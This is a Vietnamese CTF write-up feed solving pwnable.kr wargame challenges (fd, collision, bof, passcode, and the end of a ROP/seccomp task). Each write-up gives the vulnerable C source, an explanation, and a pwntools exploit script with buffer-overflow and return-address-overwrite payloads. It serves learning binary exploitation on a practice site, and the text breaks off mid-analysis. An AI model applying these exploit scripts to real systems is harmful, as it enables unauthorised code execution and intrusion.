class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [esp+0h] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  alarm(<span class="number">0x3Cu</span>);</span><br><span class="line">  hint();</span><br><span class="line">  init_ABCDEFG();</span><br><span class="line">  v4 = seccomp_init(<span class="number">0</span>);</span><br><span class="line">  seccomp_rule_add(v4, <span class="number">2147418112</span>, <span class="number">173</span>, <span class="number">0</span>);</span><br><span class="line">  seccomp_rule_add(v4, <span class="number">2147418112</span>, <span class="number">5</span>, <span class="number">0</span>);</span><br><span class="line">  seccomp_rule_add(v4, <span class="number">2147418112</span>, <span class="number">295</span>, <span class="number">0</span>);</span><br><span class="line">  seccomp_rule_add(v4, <span class="number">2147418112</span>, <span class="number">3</span>, <span class="number">0</span>);</span><br><span class="line">  seccomp_rule_add(v4, <span class="number">2147418112</span>, <span class="number">4</span>, <span class="number">0</span>);</span><br><span class="line">  seccomp_rule_add(v4, <span class="number">2147418112</span>, <span class="number">252</span>, <span class="number">0</span>);</span><br><span class="line">  seccomp_load(v4);</span><br><span class="line">  <span class="keyword">return</span> ropme();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Checksec :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Arch:     i386</span><br><span class="line">RELRO:      Full RELRO</span><br><span class="line">Stack:      No canary found</span><br><span class="line">NX:         NX enabled</span><br><span class="line">PIE:        No <span class="title function_">PIE</span> <span class="params">(<span class="number">0x8040000</span>)</span></span><br><span class="line">Stripped:   No</span><br></pre></td></tr></table></figure><h2 id="Solution-6"><a href="#Solution-6" class="headerlink" title="Solution"></a>Solution</h2><p>Bug ở đây là gọi tới hàm nhập <code>gets()</code>. Ta có chương trình là địa chỉ tĩnh và không có canary, khả năng cao là bof và dẫn đến tạo ROP chain.</p><p>Vì có sẵn đoạn code đọc flag nếu thõa yêu cầu, ta sẽ bof địa chỉ trả về là địa chỉ của câu lệnh bắt đầu đọc flag và thêm 1 chút tùy chỉnh là được.</p><h2 id="Payload-3"><a href="#Payload-3" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &lt;= <span class="number">2</span>:</span><br><span class="line">    p = process(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line">    e = ELF(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line">    gdb.attach(p,</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">b*0x08041604</span></span><br><span class="line"><span class="string">b*ropme</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line">    remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line">    p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">flag_path = <span class="number">0x8042174</span>+<span class="number">0x1e1c</span></span><br><span class="line">ropme_282 = <span class="number">0x08041625</span></span><br><span class="line">valid_address = <span class="number">0x8044300</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*<span class="number">112</span> + p32(flag_path) + p32(valid_address) +  p32(ropme_282)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Find all horcruxes, and destroy it!&#x27;</span>, <span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;How many EXP did you earned?&#x27;</span>, payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>Doneeeeeeee ! Rookiss go go brrr brrr !</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Đây là phần 2 của series &lt;a href=&quot;http://pwnable.kr/&quot;&gt;Pwnable.kr&lt;/a&gt; của mình. Phần này sẽ là các challenge còn lại của Toddler’s Bottle.</summary>
      
    
    
    
    <category term="Writeup" scheme="https://vuk3r.github.io/categories/Writeup/"/>
    
    
    <category term="PWN" scheme="https://vuk3r.github.io/tags/PWN/"/>
    
    <category term="Writeup" scheme="https://vuk3r.github.io/tags/Writeup/"/>
    
  </entry>
  
  <entry>
    <title>PWNABLE.KR - Phần 1</title>
    <link href="https://vuk3r.github.io/2026/02/02/PWNABLE-KR-Phan-1/"/>
    <id>https://vuk3r.github.io/2026/02/02/PWNABLE-KR-Phan-1/</id>
    <published>2026-02-02T14:41:01.000Z</published>
    <updated>2026-04-15T03:39:17.355Z</updated>
    
    <content type="html"><![CDATA[<p>Đây là series try hard giải các challenge trên trang web <a href="http://pwnable.kr/">pwnable.kr</a>. Với mỗi chall mình sẽ phân tích hướng giải và những điều mình học được từ những challenge đó :&gt;</p><h1 id="fd"><a href="#fd" class="headerlink" title="fd"></a>fd</h1><h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Mommy! what is a file descriptor in Linux?</span><br><span class="line"></span><br><span class="line">* try to play the wargame your self but <span class="keyword">if</span> you are ABSOLUTE beginner, follow this tutorial link:</span><br><span class="line">https:<span class="comment">//youtu.be/971eZhMHQQw</span></span><br><span class="line"></span><br><span class="line">ssh fd@pwnable.kr -p2222 (pw:guest)</span><br></pre></td></tr></table></figure><h2 id="Source"><a href="#Source" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="type">char</span> buf[<span class="number">32</span>];</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[], <span class="type">char</span>* envp[])</span>&#123;</span><br><span class="line"><span class="keyword">if</span>(argc&lt;<span class="number">2</span>)&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;pass argv[1] a number\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> fd = atoi( argv[<span class="number">1</span>] ) - <span class="number">0x1234</span>;</span><br><span class="line"><span class="type">int</span> len = <span class="number">0</span>;</span><br><span class="line">len = read(fd, buf, <span class="number">32</span>);</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(<span class="string">&quot;LETMEWIN\n&quot;</span>, buf))&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;good job :)\n&quot;</span>);</span><br><span class="line">setregid(getegid(), getegid());</span><br><span class="line">system(<span class="string">&quot;/bin/cat flag&quot;</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;learn about Linux file IO\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Solution"><a href="#Solution" class="headerlink" title="Solution"></a>Solution</h2><p>Khi gọi hàm read, chương trình truyền vào tham số đầu tiên là <code>fd</code> với <code>fd</code> được tính theo công thức  <code>atoi( argv[1] ) - 0x1234</code> và argv[1] có nghĩa là tham số đầu tiên khi bạn gọi file ( ví dụ như <code>./fd 123</code>)</p><p>Và nếu như <code>read</code> thực thi thành công thì sẽ yêu cầu bạn nhập input và lưu vào biến <code>buf</code>, sau đó đem đi so sánh với chuỗi   <code>LETMEWIN\n</code> là đọc được flag.</p><p>tìm hiểu <code>fd</code> thì mình biết được rằng đó là chỉ số <code>file description</code>, với đầu vào là input từ bàn phím thì ta cần nó là <code>fd</code> của <code>STDIN</code> tương đương với <code>0</code>, <code>argv[1]</code> sẽ được <code>atoi()</code> chuyển về số nguyên và đem trừ với <code>0x1234</code> thì ta chỉ cần gọi file với tham số đầu là <code>4660</code> là được.</p><h2 id="Payload"><a href="#Payload" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">import sys</span><br><span class="line"></span><br><span class="line">### USING : python3 solve.py fd</span><br><span class="line"></span><br><span class="line">p = ssh(</span><br><span class="line">    user=sys.argv[<span class="number">1</span>],</span><br><span class="line">    host=<span class="string">&#x27;pwnable.kr&#x27;</span>,</span><br><span class="line">    port=<span class="number">2222</span>,</span><br><span class="line">    password=<span class="string">&#x27;guest&#x27;</span>,</span><br><span class="line">)</span><br><span class="line">sh = p.shell()</span><br><span class="line"></span><br><span class="line">fd_minus = <span class="number">0x1234</span></span><br><span class="line">sh.sendline(f<span class="string">&#x27;./fd &#123;fd_minus&#125;&#x27;</span>)</span><br><span class="line">sh.send(<span class="string">&#x27;LETMEWIN\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">sh.interactive()  </span><br></pre></td></tr></table></figure><h1 id="Collision"><a href="#Collision" class="headerlink" title="Collision"></a>Collision</h1><h2 id="Description-1"><a href="#Description-1" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Daddy told me about cool MD5 hash collision today.</span><br><span class="line">I wanna <span class="keyword">do</span> something like that too!</span><br><span class="line"></span><br><span class="line">ssh col@pwnable.kr -p2222 (pw:guest)</span><br></pre></td></tr></table></figure><h2 id="Source-1"><a href="#Source-1" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span> hashcode = <span class="number">0x21DD09EC</span>;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span> <span class="title function_">check_password</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* p)</span>&#123; </span><br><span class="line">        <span class="type">int</span>* ip = (<span class="type">int</span>*)p;</span><br><span class="line">        <span class="type">int</span> i;</span><br><span class="line">        <span class="type">int</span> res=<span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span>(i=<span class="number">0</span>; i&lt;<span class="number">5</span>; i++)&#123;</span><br><span class="line">                res += ip[i];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(argc&lt;<span class="number">2</span>)&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;usage : %s [passcode]\n&quot;</span>, argv[<span class="number">0</span>]);</span><br><span class="line">                <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">strlen</span>(argv[<span class="number">1</span>]) != <span class="number">20</span>)&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;passcode length should be 20 bytes\n&quot;</span>);</span><br><span class="line">                <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(hashcode == check_password( argv[<span class="number">1</span>] ))&#123;</span><br><span class="line">                setregid(getegid(), getegid());</span><br><span class="line">                system(<span class="string">&quot;/bin/cat flag&quot;</span>);</span><br><span class="line">                <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;wrong passcode.\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Solution-1"><a href="#Solution-1" class="headerlink" title="Solution"></a>Solution</h2><p>Bài này yêu cầu đầu vào dài 20 byte. Sau đó làm gì đó với input của mình rồi mới đem so với biến <code>hashcode</code>. Hàm <code>check_password()</code> nhận vào 1 chuỗi dài 20 byte, sau đó gọi 1 con trỏ int để trỏ tới 4 kí tự 1 lần. </p><p>Ví dụ mình nhập <code>aaaabbbbccccddddeeee</code> thì con trỏ đầu tiên sẽ trỏ tới địa chỉ mang giá trị <code>0x4141414141</code> rồi cộng số đó vào biến <code>res</code>. Nôm na thì là chuỗi dài 20 kí tự, lấy hex của 4 kí tự đầu ra, cộng vào <code>res</code>, tới 4 kí  tự tiếp theo và làm hành động đó tổng là 5 lần. Vậy thì ta chỉ cần lấy biến <code>hashcode</code> chia ra làm 4 phần bằng nhau và cộng với phần còn lại, ghép 5 phần thành 1 chuỗi thì ta sẽ thu được 1 chuỗi khi đi qua hàm <code>check_password()</code> sẽ trả về giá trị bằng với <code>hashcode</code>. Mình không chia cho 5 vì khi lấy chuỗi <code>0x21DD09EC/5</code>thì mình thấy dư nên sẽ chia 4, vừa tròn đẹp :&gt;</p><h2 id="Payload-1"><a href="#Payload-1" class="headerlink" title="Payload"></a>Payload</h2><p>Để cho tiện thì mình in chuỗi đó ra rồi thêm trực tiếp vào chương trình bằng thủ công :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">hashcode = <span class="number">0x21DD09EC</span></span><br><span class="line">chunk = <span class="type">int</span>(hashcode/<span class="number">5</span>)</span><br><span class="line">final_chunk = hashcode-chunk*<span class="number">4</span></span><br><span class="line">payload = p32(chunk)*<span class="number">4</span> + p32(final_chunk)</span><br><span class="line">print(repr(payload))</span><br><span class="line"></span><br><span class="line"><span class="meta"># output : b<span class="string">&#x27;\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06&#x27;</span></span></span><br><span class="line"><span class="meta"># usage  : ./col $<span class="string">&#x27;\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06&#x27;</span></span></span><br></pre></td></tr></table></figure><h1 id="Bof"><a href="#Bof" class="headerlink" title="Bof"></a>Bof</h1><h2 id="Description-2"><a href="#Description-2" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Nana told me that buffer overflow is one of the most common software vulnerability. </span><br><span class="line">Is that <span class="literal">true</span>?</span><br><span class="line"></span><br><span class="line">ssh bof@pwnable.kr -p2222 (pw: guest)</span><br></pre></td></tr></table></figure><h2 id="Source-2"><a href="#Source-2" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="type">void</span> <span class="title function_">func</span><span class="params">(<span class="type">int</span> key)</span>&#123;</span><br><span class="line"><span class="type">char</span> overflowme[<span class="number">32</span>];</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;overflow me : &quot;</span>);</span><br><span class="line">gets(overflowme);<span class="comment">// smash me!</span></span><br><span class="line"><span class="keyword">if</span>(key == <span class="number">0xcafebabe</span>)&#123;</span><br><span class="line">setregid(getegid(), getegid());</span><br><span class="line">system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Nah..\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span>&#123;</span><br><span class="line">func(<span class="number">0xdeadbeef</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Solution-2"><a href="#Solution-2" class="headerlink" title="Solution"></a>Solution</h2><p>Với biến <code>overflowme</code> được khai báo là 32 byte nhưng gọi tới hàm <code>gets()</code> - một hàm nhập không có điểm dừng :v Nên chỉ cần mình khi tràn xuống biến <code>key</code> ở dưới là được. Chương trình được cho là <code>x86</code> có nghĩa là tham số <code>key</code> sẽ nằm trên stack khi được khai báo và địa chỉ sẽ nằm cao hơn địa chỉ của biến local của hàm <code>func</code> ⇒ Biến <code>overflowme</code> có thể thay đổi giá trị của biến <code>key</code> khi ghi tràn.</p><h2 id="Payload-2"><a href="#Payload-2" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">import sys</span><br><span class="line"></span><br><span class="line">### USING : python3 solve.py bof</span><br><span class="line"></span><br><span class="line">p = ssh(</span><br><span class="line">    user=sys.argv[<span class="number">1</span>],</span><br><span class="line">    host=<span class="string">&#x27;pwnable.kr&#x27;</span>,</span><br><span class="line">    port=<span class="number">2222</span>,</span><br><span class="line">    password=<span class="string">&#x27;guest&#x27;</span>,</span><br><span class="line">)</span><br><span class="line">sh = p.shell()</span><br><span class="line"></span><br><span class="line">sh.sendline(b<span class="string">&#x27;nc 0 9000&#x27;</span>)</span><br><span class="line"></span><br><span class="line">payload = b<span class="string">&#x27;a&#x27;</span>*<span class="number">52</span></span><br><span class="line">payload += p32(<span class="number">0xcafebabe</span>)</span><br><span class="line">sh.sendline(payload)</span><br><span class="line"></span><br><span class="line"><span class="meta">#cat flag</span></span><br><span class="line"></span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><h1 id="Passcode"><a href="#Passcode" class="headerlink" title="Passcode"></a>Passcode</h1><h2 id="Description-3"><a href="#Description-3" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Mommy told me to make a passcode based login system.</span><br><span class="line">My first trial C implementation compiled without any error!</span><br><span class="line">Well, there were some compiler warnings, but who cares about that?</span><br><span class="line"></span><br><span class="line">ssh passcode@pwnable.kr -p2222 (pw:guest)</span><br></pre></td></tr></table></figure><h2 id="Source-3"><a href="#Source-3" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">login</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="type">int</span> passcode1;</span><br><span class="line"><span class="type">int</span> passcode2;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;enter passcode1 : &quot;</span>);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, passcode1);</span><br><span class="line">fflush(<span class="built_in">stdin</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ha! mommy told me that 32bit is vulnerable to bruteforcing :)</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;enter passcode2 : &quot;</span>);</span><br><span class="line">        <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, passcode2);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;checking...\n&quot;</span>);</span><br><span class="line"><span class="keyword">if</span>(passcode1==<span class="number">123456</span> &amp;&amp; passcode2==<span class="number">13371337</span>)&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;Login OK!\n&quot;</span>);</span><br><span class="line">setregid(getegid(), getegid());</span><br><span class="line">                system(<span class="string">&quot;/bin/cat flag&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span>&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;Login Failed!\n&quot;</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">welcome</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="type">char</span> name[<span class="number">100</span>];</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;enter you name : &quot;</span>);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%100s&quot;</span>, name);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Welcome %s!\n&quot;</span>, name);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Toddler&#x27;s Secure Login System 1.1 beta.\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">welcome();</span><br><span class="line">login();</span><br><span class="line"></span><br><span class="line"><span class="comment">// something after login...</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now I can safely trust you that you have credential :)\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Checksec"><a href="#Checksec" class="headerlink" title="Checksec"></a>Checksec</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Arch:     i386</span><br><span class="line">RELRO:      Partial RELRO</span><br><span class="line">Stack:      Canary found</span><br><span class="line">NX:         NX enabled</span><br><span class="line">PIE:        No <span class="title function_">PIE</span> <span class="params">(<span class="number">0x8048000</span>)</span></span><br><span class="line">Stripped:   No</span><br></pre></td></tr></table></figure><h2 id="Solution-3"><a href="#Solution-3" class="headerlink" title="Solution"></a>Solution</h2><p>Chạy chương trình và nhập vào biến thứ 2 thì gặp lỗi Segment fault nên phân tích code thì rõ là đoạn code đã code sai đoạn input <code>passcode1</code> và <code>passcode2</code> là thay vì truyền vào địa chỉ của 2 biến thì lại truyền vào giá trị, có nghĩa là khi chạy thì nó sẽ lấy giá trị nào nó trên thanh stack để nhập vào. Điều hay là chương trình vô tình nhập được vào <code>passcode1</code> (author setup :v). Việc nhập vào được vẫn là khả thi nếu như giá trị được trỏ tới là một địa chỉ hợp lệ (một địa chỉ đang tồn tại trong chương trình và có quyền ghi). Và khi debug sẽ thấy <code>passcode1</code> được nhận 1 địa chỉ hợp lệ, <code>passcode2</code> nhận một địa chỉ rác (nó là <code>canary</code> nhưng ta không cần quan tâm, sự xuất hiện của nó giúp mình nhìn thấy được các giá trị khác). Và khi debug hàm <code>welcome</code> sẽ thấy 2 giá trị này cũng tồn 